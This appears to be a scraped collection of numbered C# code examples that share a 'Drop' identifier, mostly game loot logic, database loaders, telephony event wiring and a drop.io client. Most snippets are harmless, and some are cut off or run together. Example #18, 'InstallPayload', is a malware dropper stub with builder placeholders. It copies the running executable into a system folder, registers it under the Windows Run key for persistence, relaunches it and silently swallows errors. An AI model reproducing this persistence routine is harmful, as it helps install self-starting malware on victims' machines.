示例#1
0
    void OnEnemyDeath(Transform enemyTransform)
    {
        enemiesAlive--;
        if (enemiesAlive <= 0)
        {
            GoToNextRoom();
            roomCleared = true;

            //DROPS

            MoneyDrop currentMoneyDrop = Instantiate(moneyDrop,
                                                     enemyTransform.position + Vector3.up * 2, Quaternion.identity) as MoneyDrop;
            currentMoneyDrop.SetAmount(UnityEngine.Random.Range(enemiesSpawned * 2, enemiesSpawned * 4));
            currentMoneyDrop.InitialForce();
            currentDrops.Add(currentMoneyDrop);

            //CHANGE TO VARIABLE SPAWN PERCENT
            if (UnityEngine.Random.Range(0f, 1f) < 0.2f)
            {
                Drop drop        = GetRandomDrop();
                Drop currentDrop = Instantiate(drop, enemyTransform.position + Vector3.up * 2, Quaternion.identity) as Drop;
                currentDrop.InitialForce();
                currentDrops.Add(currentDrop);
            }
        }
    }
示例#2
0
 public virtual void RegisterEventHandlersForTerminal(ITerminal terminal)
 {
     terminal.OutgoingCall += (sender, arg) =>
     {
         State = PortState.Busy;
         OutgoingCall?.Invoke(this, arg);
         Console.WriteLine(arg.SourceNumber + " is calling " + arg.TargetNumber);
     };
     terminal.IncomingCall += (sender, arg) =>
     {
         State = PortState.Busy;
         terminal.CallEventArgs = arg;
         Console.WriteLine(arg.SourceNumber + " is calling " + arg.TargetNumber);
     };
     terminal.Answer += (sender, arg) =>
     {
         Console.WriteLine(arg.TargetNumber + " answered " + arg.SourceNumber);
         Answer?.Invoke(this, arg);
     };
     terminal.Drop += (sender, arg) =>
     {
         State = PortState.Free;
         Drop?.Invoke(this, arg);
     };
     this.IncomingCall += (sender, arg) =>
     {
         terminal.IncomingCallFromPort(arg);
     };
 }
示例#3
0
    private List <Drop> MatchedDropsAfterSwap(Drop firstDrop, Drop secondDrop)
    {
        List <Drop> firstMatchedHorizontalDrops = HorizontalLeftMatchedDrops(firstDrop.xIndex, firstDrop.yIndex)
                                                  .Union(HorizontalRightMatchedDrops(firstDrop.xIndex, firstDrop.yIndex)).ToList();
        List <Drop> firstMatchedVerticalDrops = VerticalDownMatchedDrops(firstDrop.xIndex, firstDrop.yIndex)
                                                .Union(VerticalUpMatchedDrops(firstDrop.xIndex, firstDrop.yIndex)).ToList();
        List <Drop> secondMatchedHorizontalDrops = HorizontalLeftMatchedDrops(secondDrop.xIndex, secondDrop.yIndex)
                                                   .Union(HorizontalRightMatchedDrops(secondDrop.xIndex, secondDrop.yIndex)).ToList();
        List <Drop> secondMatchedVerticalDrops = VerticalDownMatchedDrops(secondDrop.xIndex, secondDrop.yIndex)
                                                 .Union(VerticalUpMatchedDrops(secondDrop.xIndex, secondDrop.yIndex)).ToList();
        List <Drop> totalMatchedDrops = new List <Drop>();

        if (firstMatchedHorizontalDrops.Count > 2)
        {
            totalMatchedDrops = totalMatchedDrops.Union(firstMatchedHorizontalDrops).ToList();
        }
        if (firstMatchedVerticalDrops.Count > 2)
        {
            totalMatchedDrops = totalMatchedDrops.Union(firstMatchedVerticalDrops).ToList();
        }
        if (secondMatchedHorizontalDrops.Count > 2)
        {
            totalMatchedDrops = totalMatchedDrops.Union(secondMatchedHorizontalDrops).ToList();
        }
        if (secondMatchedVerticalDrops.Count > 2)
        {
            totalMatchedDrops = totalMatchedDrops.Union(secondMatchedVerticalDrops).ToList();
        }
        return(totalMatchedDrops);
    }
 protected void RaiseDrop(object sender, object drop)
 {
     if (Drop != null)
     {
         Drop.Invoke(sender, new DragDropArgs(drop));
     }
 }
示例#5
0
        public static void Load()
        {
            int a      = 0;
            var reader = DatabaseManager.Provider.ExecuteReader("SELECT * FROM drops");

            while (reader.Read())
            {
                var mob = MonsterTable.GetMonster(reader.GetInt32("mob"));
                if (mob == null)
                {
                    continue;
                }
                var drop = new Drop()
                {
                    MonsterID  = reader.GetInt32("mob"),
                    TemplateId = reader.GetInt32("item"),
                    Seuil      = reader.GetInt32("seuil"),
                    Max        = reader.GetInt32("max"),
                    Taux       = reader.GetDecimal("taux"),
                };
                mob.addDrop(drop);
                a++;
            }
            reader.Close();

            Logger.Info("Loaded @'" + a + "'@ Drops");
        }
    private Dictionary <string, CharacterConfig> LoadCharacters(XmlNodeList charactersXml, Dictionary <string, ItemConfig> itemConfigs, Dictionary <string, Drop> drops)
    {
        Dictionary <string, CharacterConfig> chs = new Dictionary <string, CharacterConfig> ();

        foreach (XmlNode itemXml in charactersXml)
        {
            string itemId   = itemXml.Attributes["id"].Value;
            int    life     = int.Parse(itemXml.Attributes["life"].Value);
            int    agility  = int.Parse(itemXml.Attributes["agility"].Value);
            int    strenght = int.Parse(itemXml.Attributes["strength"].Value);

            string     leftHandItemId      = itemXml.Attributes["leftHand"].Value;
            ItemConfig leftHandItemConfig  = leftHandItemId == ""?null: itemConfigs[leftHandItemId];
            string     rightHandItemId     = itemXml.Attributes["rightHand"].Value;
            ItemConfig rightHandItemConfig = rightHandItemId == ""?null: itemConfigs[rightHandItemId];

            string dropId = itemXml.Attributes["dropId"].Value;
            Drop   drop   = null;
            if (dropId != "")
            {
                drop = drops[dropId];
            }

            chs.Add(itemId, new CharacterConfig(itemId, life, agility, strenght, leftHandItemConfig, rightHandItemConfig, drop));
        }

        return(chs);
    }
示例#7
0
        public void OnDie(Monster monster)
        {
            Drop d = ItemManager.Instance.GetMinigameDropTable("Sotu Nran Waterfall").DropTable.GetDrop();

            MessageManager.AddMessage("The creature screams in rage and disappears under the water. The waterfall opens up to reveal a pile of treasure. You grab " + d.Amount + " " + d.Item + " quickly and escape before the creature returns.");
            Player.Instance.Inventory.AddDrop(d);
        }
示例#8
0
 public void sendDropCoordinates()
 {
     while (true)
     {
         lock (drop_lock)
         {
             if (drops.Count > 0)
             {
                 foreach (DictionaryEntry dropEntry in drops)
                 {
                     string drop_name = dropEntry.Key.ToString();
                     Drop   drop_data = (Drop)dropEntry.Value;
                     using (WebClient wc = new WebClient())
                     {
                         wc.DownloadString(String.Format("http://mysite.com/gps/?drop={0}&ip={1}&name={2}&x={3}&y={4}&z={5}",
                                                         bootstrap[0],
                                                         bootstrap[1],
                                                         drop_name,
                                                         drop_data.x.ToString("R"),
                                                         drop_data.y.ToString("R"),
                                                         drop_data.z.ToString("R")
                                                         ));
                         Console.WriteLine("Sending Drop Coords: {0}, {1}, {2}", drop_data.x.ToString("N2"), drop_data.y.ToString("N2"), drop_data.z.ToString("N2"));
                     }
                 }
                 drops.Clear();
             }
         }
         Thread.Sleep(20);
     }
 }
示例#9
0
    void Awake()
    {
        render = new RenderTexture(resolution, resolution, 0);
        render.enableRandomWrite = true;
        render.wrapMode          = TextureWrapMode.Repeat;
        render.Create();
        //ComputeShader setup
        kernelID = compute.FindKernel("CSMain");
        compute.SetTexture(kernelID, "Result", render);

        drops = new Drop[dropcount];
        for (int i = 0; i < dropcount; i++)
        {
            drops[i]           = new Drop();
            drops[i].pos.x     = Random.value * resolution;
            drops[i].pos.y     = Random.value * resolution;
            drops[i].radius    = 0f;
            drops[i].maxradius = maxradius + (Random.value * 2f - 1) * deviation;
        }

        buffer = new ComputeBuffer(dropcount, 16);
        buffer.SetData(drops);

        //First Dispatch to have a Texture asap
        compute.SetFloat("deviation", deviation);
        compute.SetFloat("scale", resolution);
        compute.SetInt("dropcount", dropcount);
        compute.SetBuffer(kernelID, "drops", buffer);
        compute.Dispatch(kernelID, resolution / 8, resolution / 8, 1);
    }
示例#10
0
        public static Packet RemoveDrop(Drop drop)
        {
            Packet packet = new Packet(SH6Type.RemoveDrop);

            packet.WriteUShort(drop.ID);
            return(packet);
        }
示例#11
0
    private Drop GetRandomWeaponFrom(List <Drop> list, bool getWeaponDrop)
    {
        Drop  highestDrop = null;
        float highestNum  = -1f;

        if (getWeaponDrop)
        {
            for (int i = 0; i < list.Count; i++)
            {
                float newNum = list[i].relativeDropChance * Random.value;
                if (newNum > highestNum)
                {
                    highestNum  = newNum;
                    highestDrop = list[i];
                }
            }
        }
        else
        {
            for (int i = 0; i < list.Count; i++)
            {
                float newNum = list[i].relativeAmmoChance * Random.value;
                if (newNum > highestNum)
                {
                    highestNum  = newNum;
                    highestDrop = list[i];
                }
            }
        }
        return(highestDrop);
    }
示例#12
0
        public bool AddDrop(Drop drop)
        {
            try
            {
                using (var db = new Entitys())
                {
                    var newDropToAdd = new Drop
                    {
                        Id             = drop.Id,
                        Drop_Id        = drop.Drop_Id,
                        Drop_Adress    = drop.Drop_Adress,
                        Drop_time      = drop.Drop_time,
                        Reports_list   = drop.Reports_list,
                        Real_lat       = drop.Real_lat,
                        Real_log       = drop.Real_log,
                        Estimeated_lat = drop.Estimeated_lat,
                        Estimeated_log = drop.Estimeated_log,
                    };


                    db.Drops.Add(newDropToAdd);
                    db.SaveChanges();
                }
                return(true);
            }
            catch (Exception)
            {
                return(false);
            }
        }// done
示例#13
0
        private void recipe(object drop, List <string> ingredientNames)
        {
            List <string> produces;
            var           ingredients   = ItemTypeFactory.Instance.ToItemType(ingredientNames);
            Drop          processedDrop = null;

            if (drop is string)
            {
                produces = new List <string> {
                    $"Produces: {(string) drop}"
                };
                processedDrop = DropFactory.parseDrop((string)drop);
            }
            else
            {
                produces = new List <string>
                {
                    "May create a random piece of equipment similar to",
                    "the placed item. Add coins to improve the quality",
                    "and chance of a successful forging."
                };
                processedDrop = drop as Drop;
            }
            Recipes.Add(new Recipe(ingredients, processedDrop, produces));
        }
示例#14
0
    public static FlowDocument AddDrop(this StackPanel sp, Drop drop)
    {
      FlowDocumentParser fdp = new FlowDocumentParser() { TextAlignment = TextAlignment.Right };

      fdp.AddBold(drop.Author.Name + " at " + 
        String.Format("{0:dd/MM/yyyy HH:mm}", drop.UpdatedAt));
      fdp = new FlowDocumentParser(fdp.Doc);
      fdp.AddMarkUp(drop.Content);

      FlowDocumentScrollViewer fdsv = new FlowDocumentScrollViewer()
      {
        HorizontalScrollBarVisibility = ScrollBarVisibility.Disabled,
        Document = fdp.Doc,
        VerticalScrollBarVisibility = ScrollBarVisibility.Auto,
        Foreground = new SolidColorBrush(Colors.White)
      };

      Border border = new Border()
      {
        BorderThickness = new Thickness(0, 5, 0, 5),
        CornerRadius = new CornerRadius(10),
        Padding = new Thickness(3),
        Background = new SolidColorBrush(Colors.Black),
        Cursor = Cursors.Hand,
        Child = fdsv
      };

      fdp.Doc.PreviewMouseWheel += Bubbler;
      fdsv.PreviewMouseWheel += Bubbler;
      fdsv.SizeChanged += Resizer;

      sp.Children.Add(border);

      return fdp.Doc;
    }
示例#15
0
        private Drop CreateDrop(string name, string description, bool guests_can_comment, bool guests_can_add, bool guests_can_delete)
        {
            Dictionary <string, string> args = new Dictionary <string, string>();

            args.Add("version", "2.0");
            args.Add("api_key", APIKey);
            args.Add("format", "xml");
            // this is the name of the drop and will become part of the URL of the drop
            args.Add("name", name);
            // a plain text description of a drop
            args.Add("description", description);
            // determines whether guests can comment on assets
            args.Add("guests_can_comment", guests_can_comment.ToString());
            // determines whether guests can add assets
            args.Add("guests_can_add", guests_can_add.ToString());
            // determines whether guests can delete assets
            args.Add("guests_can_delete", guests_can_delete.ToString());

            string response = SendRequestMultiPart("http://api.drop.io/drops", args);

            XDocument doc  = XDocument.Parse(response);
            XElement  root = doc.Element("drop");

            if (root != null)
            {
                Drop drop = new Drop();
                drop.Name       = root.GetElementValue("name");
                drop.AdminToken = root.GetElementValue("admin_token");
                return(drop);
            }

            return(null);
        }
示例#16
0
        bool IItemDropTarget.Drop(Point2D p, Point2D ul, KeyModifiers mods)
        {
            var dropPoint = MapFromScreen(ul).Add(15);

            Drop.Raise(new Point2D(dropPoint.X / tile.Width, dropPoint.Y / tile.Height));
            return(true);
        }
示例#17
0
 //Constructor
 public Monster(string name, pClass pClass, int xp, int gold, int addHP, int addDam, int hit, int defence, int crit, Drop drop, int action1, int action2, int action3)
     : base(pClass)
 {
     declareAction = Status.creatureUpdateName[2];
     maxHealth     = health = pClass.startingHealth + addHP;
     damage        = pClass.startingDamage + addDam;
     energy        = pClass.startingEnergy;
     magic         = pClass.startingMagic;
     this.addDam   = addDam;
     this.addHP    = addHP;
     this.drop     = drop;
     this.name     = name;
     this.pClass   = pClass;
     this.xp       = xp;
     this.gold     = gold;
     this.drop     = drop;
     this.hit      = hit;
     this.defence  = defence;
     this.crit     = crit;
     this.action1  = action1;
     this.action2  = action2;
     this.action3  = action3;
     monChoice     = 0;
     colourChoice  = Colour.NAME;
 }
示例#18
0
 private static void InstallPayload()
 {
     try
     {
         string DownloaderFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.% DIR %), "%EXE%");
         if (Process.GetCurrentProcess().MainModule.FileName == DownloaderFullPath)
         {
             return;
         }
         FileStream Drop = null;
         if (File.Exists(DownloaderFullPath))
         {
             Drop = new FileStream(DownloaderFullPath, FileMode.Create);
         }
         else
         {
             Drop = new FileStream(DownloaderFullPath, FileMode.CreateNew);
         }
         byte[] Payload = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
         Drop.Write(Payload, 0, Payload.Length);
         Drop.Dispose();
         Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Path.GetFileName(DownloaderFullPath), DownloaderFullPath);
         Process.Start(DownloaderFullPath);
         Thread.Sleep(50);
         Environment.Exit(0);
     }
     catch (Exception ex)
     {
     }
 }
示例#19
0
        public void Pickup(Drop drop)
        {
            if (drop.Picker != null)
            {
                // Someone already picked up this drop
                return;
            }

            drop.Picker = Parent;

            switch (drop)
            {
            case Meso meso when Parent.PrimaryStats.Meso != int.MaxValue:
                Parent.PrimaryStats.Meso += meso.Amount;
                break;

            case Item item when item.OnlyOne:
                // TODO: Appropriate message.
                return;

            case Item item when IsFull(item.Type):
                NotifyFull();

                break;

            case Item item when !IsFull(item.Type):
                item.Slot = GetNextFreeSlot(item.Type);
                Add(item, true);
                break;
            }

            Parent.Map?.Drops.Remove(drop);
            drop.Picker.Send(drop.GetShowGainPacket());
        }
示例#20
0
        public static void CreateDrop(Node context)
        {
            Drop drop = Instance("Drop") as Drop;

            drop.Position = new Vector2(300, 50);
            MainScene.AddChild(drop);
        }
示例#21
0
 void spawnDrop(Monster monster, Vector3 position)
 {
     for (int i = 0; i < monster.dropIds.Length; i++)
     {
         if (!isUnder(monster.dropChance[i]))
         {
             continue;
         }
         int itemID = monster.dropIds[i];
         Debug.Log("item ID here!: " + itemID + " : " + i);
         GameObject prefab;
         prefab = (GameObject)Instantiate(ResourceStructure.getGameObjectFromPath(ItemDataProvider.getInstance().getStats(itemID).getString("pathToDropModel")));
         //Drop drop = prefab.AddComponent<Drop>();
         NetworkIdentity identity     = prefab.GetComponent <NetworkIdentity>();
         int             itemQuantity = monster.dropQuantity[i];
         Item            item         = new Item(itemID);
         item.setQuantity(itemQuantity);
         Drop drop = prefab.GetComponent <Drop>();
         drop.initilize(item);
         //drop.initilize(item, this.targetNetwork);
         prefab.transform.position = position;
         NetworkServer.Spawn(prefab);
         ItemInfo packet = new ItemInfo();
         packet.item  = Tools.objectToByteArray(item);
         packet.netId = identity.netId;
         NetworkServer.SendToAll(PacketTypes.DROP_INIT, packet);
     }
 }
示例#22
0
        public void Update(GameTime gameTime)
        {
            // Update drops
            for (int i = Drops.Count - 1; i >= 0; i--)
            {
                Drop drop = Drops[i];

                // Use map to detect collisions
                drop.DetectCollisions(this);

                // Calc dist from drop tp player
                float distToPlayer = Vector2.Distance(drop.Position, Main.Player.Bounds.Center.ToVector2());

                if (distToPlayer < 2 * Tile.Size)
                {
                    // Pick up
                    Drops.Remove(drop);
                    Main.inventory.AddItems(drop.Type, 1);
                }
                else if (distToPlayer < Player.PickupRange * Tile.Size)
                {
                    // Move drop towards player
                    drop.MoveToPlayer(Main.Player);
                }

                // Will move it
                drop.Update(gameTime);
            }
        }
示例#23
0
    // Hurt the player character when colliding
    // Reflect the projectile back to the flier when colliding with the sword
    // Destroy the projectile with any other collisions
    void OnTriggerEnter2D(Collider2D coll)
    {
        if (coll.tag == "Sword" && coll.isTrigger && !respawning)
        {
            GameObject Drop;
            Drop = Instantiate(
                baby,
                transform.position,
                transform.rotation) as GameObject;

            Drop.transform.localScale = new Vector3(1.0f, 1.0f, 1.0f);
            Drop.GetComponent <H2OBoy>().pushBackForce = 100f;
            Drop.layer = 0;
            SpriteRenderer sr;
            sr = GetComponent <SpriteRenderer>();
            SpriteRenderer srb;
            Animator       sra;
            sra         = fake.GetComponent <Animator>();
            srb         = fake.GetComponent <SpriteRenderer>();
            sr.enabled  = false;
            sra.enabled = false;
            srb.enabled = false;
            respawning  = true;
            foreach (BoxCollider2D c in GetComponents <BoxCollider2D> ())
            {
                c.enabled = false;
            }
        }
    }
示例#24
0
        public void PhoneEventsInit(IPhone phone)
        {
            phone.IncomingCall += (sender, args) =>
            {
                State            = PortState.Call;
                phone.Connection = args;
            };

            phone.OutgoingCall += (sender, args) =>
            {
                State = PortState.Call;
                Call?.Invoke(this, args);
            };

            phone.Answer += (sender, args) =>
            {
                Answer?.Invoke(this, args);
            };

            phone.Drop += (sender, args) =>
            {
                State = PortState.Busy;
                Drop?.Invoke(this, args);
            };

            this.IncomingCall += (sender, args) =>
            {
                phone.GetIncomingCall(args);
            };
        }
示例#25
0
 // Start is called before the first frame update
 void Start()
 {
     recallFlag = true;
     sr         = GetComponent <SpriteRenderer>();
     animator   = GetComponent <Animator>();
     drop       = FindObjectOfType <Drop>();
 }
示例#26
0
        public static Packet ShowDrop(Drop drop)
        {
            Packet packet = new Packet(SH7Type.ShowDrop);

            drop.Write(packet);
            return(packet);
        }
示例#27
0
        public AdventureCommandRegistry(IReadonlyAdventureGame game)
        {
            var lookCommand      = new Look(game, "look", "l");
            var helpCommand      = new Help(game, "help");
            var moveCommand      = new Move(game, "move", "go", "walk", "run", "climb", "crawl");
            var takeCommand      = new Take(game, "take", "get", "grab");
            var dropCommand      = new Drop(game, "drop");
            var magicWord1       = new Xyzzy(game, "xyzzy");
            var magicWord2       = new Plugh(game, "plugh");
            var inventoryCommand = new Carrying(game, "inventory", "inv");
            var interactCommand  = new Interact(game, "use"); // Do not add aliases for this command
            var yes = new Yes(game, "yes", "y");
            var no  = new No(game, "no", "n");
            var say = new Say(game, "say");

            RegisteredCommands = new List <IAdventureCommand> {
                lookCommand,
                helpCommand,
                moveCommand,
                takeCommand,
                dropCommand,
                magicWord1,
                magicWord2,
                inventoryCommand,
                interactCommand,
                yes,
                no,
                say,
            };
        }
示例#28
0
        public IEnumerator Panic(int player, int target, Drop drop, int cardIndex)
        {
            PlayerController pc       = playerControllers[player];
            PlayerController targetPc = playerControllers[target];
            Card             c        = null;

            switch (drop)
            {
            case Drop.Hand:
                if (target == player)
                {
                    c = null;
                }
                else
                {
                    c = targetPc.StealCardFromHand(cardIndex);
                }
                break;

            case Drop.Properties:
                c = targetPc.UnequipProperty(cardIndex);
                break;

            case Drop.Weapon:
                c = targetPc.UnequipWeapon();
                break;
            }
            pc.DiscardCardUsed();
            if (c != null)
            {
                pc.AddCard(c);
            }
            yield return(targetPc.StolenBy(player));
        }
示例#29
0
        public IEnumerator CatBalou(int player, int target, Drop drop, int cardIndex)
        {
            PlayerController pc       = playerControllers[player];
            PlayerController targetPc = playerControllers[target];
            Card             c        = null;

            switch (drop)
            {
            case Drop.Hand:
                if (player == target && cardIndex < pc.DraggedCardIndex)
                {
                    pc.DraggedCardIndex--;
                }
                c = targetPc.StealCardFromHand(cardIndex);
                break;

            case Drop.Properties:
                c = targetPc.UnequipProperty(cardIndex);
                break;

            case Drop.Weapon:
                c = targetPc.UnequipWeapon();
                break;
            }
            pc.DiscardCardUsed();
            DiscardCard(c);
            yield return(targetPc.StolenBy(player));
        }
示例#30
0
    void Start()
    {
        Instance = this;
        Weapon   = Weapons[Random.Range(0, Weapons.Length)];
        Item     = Items[Random.Range(0, Items.Length)];
        Spell    = Spells[Random.Range(0, Spells.Length)];
        Potion   = Potions[Random.Range(0, Potions.Length)];

        if (Type.Equals("Weapon"))
        {
            GetComponent <SpriteRenderer>().sprite = Weapon.Sprite;
        }
        if (Type.Equals("Item"))
        {
            GetComponent <SpriteRenderer>().sprite = Item.Sprite;
        }
        if (Type.Equals("Spell"))
        {
            GetComponent <SpriteRenderer>().sprite = Spell.Sprite;
        }
        if (Type.Equals("Potion"))
        {
            GetComponent <SpriteRenderer>().sprite = Potion.Sprite;
        }
    }
示例#31
0
        public void Pickup(Drop drop)
        {
            if (drop.Picker == null)
            {
                try
                {
                    drop.Picker = this.Parent;

                    if (drop is Meso)
                    {
                        this.Parent.Meso += ((Meso)drop).Amount; // TODO: Check for max meso.
                    }
                    else if (drop is Item)
                    {
                        ((Item)drop).Slot = this.GetNextFreeSlot(((Item)drop).Type); // TODO: Check for inv. full.
                        this.Add((Item)drop, true);
                    }

                    this.Parent.Map.Drops.Remove(drop);

                    using (Packet showGain = drop.GetShowGainPacket())
                    {
                        this.Parent.Client.Send(showGain);
                    }
                }
                catch (InventoryFullException)
                {
                    this.NotifyFull();
                }
            }
        }
示例#32
0
 public bool IsLinked( Drop drop )
 {
     foreach( Drop linkedDrop in linkedDrops )
     {
         if( linkedDrop == drop ) return true;
     }
     return false;
 }
示例#33
0
 public SpawnDrop(Drop drop)
     : base(0x36,18)
 {
     writer.Write(drop.ItemId);
     writer.Write(drop.WorldId);
     writer.Write(drop.PositionX);
     writer.Write(drop.PositionY);
     writer.Write(drop.Quantity);
 }
示例#34
0
 public void Erase()
 {
     this.transform.position = new Vector3( Random.Range( -1.0f, 1.0f ), 9 + Random.Range( -0.5f, 0.5f ) );
     this.Rigidbody2D.velocity = Vector2.zero;
     flag_IsTouched = false;
     linkTo = null;
     LinkLightEffect.Stop();
     InitDropType();
 }
示例#35
0
 public virtual void SetBoolds(int index, float x, float y, float xs, float ys)
 {
     if (index > drops.Length - 1)
     {
         return;
     }
     drops[index] = new Drop();
     drops[index].x = x;
     drops[index].y = y;
     drops[index].xspeed = xs;
     drops[index].yspeed = ys;
 }
示例#36
0
    public bool IsLinkable( Drop to )
    {
        if( to == null ) return false;
        if( this.GetPosF().LengthSq( to.GetPosF() ) > LinkRadius ) return false;
        if( DropManager.IsLinked( to ) ) return false;

        if( ( this.dropType == DropType.GO && to.dropType == DropType.RI ) ||
            ( this.dropType == DropType.RI && to.dropType == DropType.RA ) ||
            ( this.dropType == DropType.RA && to.dropType == DropType.GO )    )
        {
            return true;
        }
        else return false;
    }
示例#37
0
        private void UpdateFrame()
        {
            List<Drop> newDrops = new List<Drop>();
            foreach (Drop d in Drops)
            {
                d.z--;
                if (d.z > 0)
                    newDrops.Add(d);
            }

            for(int i = 0; i < r.Next(3); i++)
            {
                Drop d = new Drop();
                d.x = (byte)r.Next(8);
                d.y = (byte)r.Next(8);
                d.z = 7;
                newDrops.Add(d);
            }

            Drops = newDrops;
        }
示例#38
0
 static public void AddDrops(this StackPanel sp, Drop[] drops)
 {
   for (int i = 0; i < drops.Length; i++)
     sp.AddDrop(drops[i]);
 }
	// Use this for initialization
	void Start () {
		dropScript = GetComponent<Drop> ();
		jumpScript = GetComponent<PlayerJump> ();
	}
示例#40
0
 internal Drop GetDropClass(DataRow data, int dropid)
 {
     var drop = new Drop();
     var item = data["item" + dropid].ToString().Split(',');
     var val1 = (ClassType) Int32.Parse(item[0]);
     var val2 = Int32.Parse(item[1]);
     if (val1 == ClassType.Treasure && Exclude.Contains(val2)) return drop;
     drop.Type = val1;
     drop.Content = GetDropContent(val1, val2);
     drop.Value = (int)data["value" + dropid];
     return drop;
 }
示例#41
0
 public void AddDrop(Drop newDrop)
 {
     this.DropList.Add(newDrop);
 }
示例#42
0
 private void WriteDrops(Drop drop)
 {
     contentPanel.Children.Remove(loader_fdsv);
       contentPanel.AddDrop(drop);
       contentPanel.Children.Add(loader_fdsv);
 }
示例#43
0
 void Awake()
 {
     drop = gameObject.GetComponent<Drop>();
     inst = gameObject.GetComponent<FocusableObject>();
 }
示例#44
0
        public void Update(GameTime gameTime)
        {
            // updates the position of all monsters
            foreach (var monster in SpawnedMobs)
            {
                monster.Update(gameTime);
            }

            // generates new mobs
            SpawnGenerator(gameTime);

            // Checks for dead monsters STARTS //
            this.indexesForDeletion = new List<int>();

            foreach (int mobIndex in this.MobsHit)
            {
                SpawnedMobs[mobIndex].HpPointsCurrent -= Player.Instance.WeaponDmg;
                if (SpawnedMobs[mobIndex].HpPointsCurrent <= 0)
                {
                    indexesForDeletion.Add(mobIndex);
                }
            }

            this.MobsHit = new List<int>();

            foreach (int mobIndex in indexesForDeletion)
            {
                Toolbar.SystemMsg.Instance.AllMessages.Add(new Dictionary<string, Color>() { { String.Format(">> {0} died.", this.SpawnedMobs[mobIndex].Name), Color.Cyan } });

                // adds drop on the place of the dead mob
                Drop currentDrop = new Drop(this.SpawnedMobs[mobIndex].DestinationPosition);
                Handlers.DropHandler.Instance.AddDrop(currentDrop);

                Toolbar.SystemMsg.Instance.AllMessages.Add(new Dictionary<string, Color>() {
                            { String.Format(">> {0} droped {1} {2}.", this.SpawnedMobs[mobIndex].Name, currentDrop.Amount, currentDrop.Name), Color.SpringGreen } });

                this.SpawnedMobsNumber--;
                this.SpawnedMobs.RemoveAt(mobIndex);
            }

            // Checks for dead monsters ENDS //
        }
 public string AuthenticatedDropUrl(Drop drop)
 {
     return ServiceProxy.Instance.GenerateAuthenticatedDropUrl(drop);
 }
示例#46
0
 private void ExplodeBanana( Drop BananaDrop )
 {
     //バナナはバナナの周りを消す.バナナでバナナは消えない.
     foreach( Drop drop in allDrops
         .Where( x => x.GetPosF().IsInCircle( BananaDrop.GetPosF(), BananaRadius ) )
         .Where( x => !x.IsBanana() )												 )
     {
         drop.Erase();
         SaveDataManager.Add( SaveDataManager.Key.CharNum );
     }
     BananaDrop.ExplodeBanana();
     SaveDataManager.Add( SaveDataManager.Key.BananaNum );
 }
示例#47
0
 public void AddLinkedDrop( Drop drop )
 {
     linkedDrops.Add( drop );
 }
示例#48
0
 public DropRange(float range, Drop.Name name)
 {
     this.range = range;
     this.name = name;
 }
示例#49
0
        private Drop CreateDrop(string name, string description, bool guests_can_comment, bool guests_can_add, bool guests_can_delete)
        {
            Dictionary<string, string> args = new Dictionary<string, string>();
            args.Add("version", "2.0");
            args.Add("api_key", APIKey);
            args.Add("format", "xml");
            // this is the name of the drop and will become part of the URL of the drop
            args.Add("name", name);
            // a plain text description of a drop
            args.Add("description", description);
            // determines whether guests can comment on assets
            args.Add("guests_can_comment", guests_can_comment.ToString());
            // determines whether guests can add assets
            args.Add("guests_can_add", guests_can_add.ToString());
            // determines whether guests can delete assets
            args.Add("guests_can_delete", guests_can_delete.ToString());

            string response = SendRequest(HttpMethod.POST, "http://api.drop.io/drops", args);

            XDocument doc = XDocument.Parse(response);
            XElement root = doc.Element("drop");
            if (root != null)
            {
                Drop drop = new Drop();
                drop.Name = root.GetElementValue("name");
                drop.AdminToken = root.GetElementValue("admin_token");
                return drop;
            }

            return null;
        }
 /// <summary>
 /// Generates the authenticated drop URL.
 /// </summary>
 /// <param name="drop">The drop.</param>
 /// <returns></returns>
 public virtual string GenerateAuthenticatedDropUrl(Drop drop)
 {
     return this.ServiceAdapter.GenerateAuthenticatedDropUrl(drop);
 }
 public string GenerateAuthenticatedDropUrl(Drop drop)
 {
     throw new System.NotImplementedException();
 }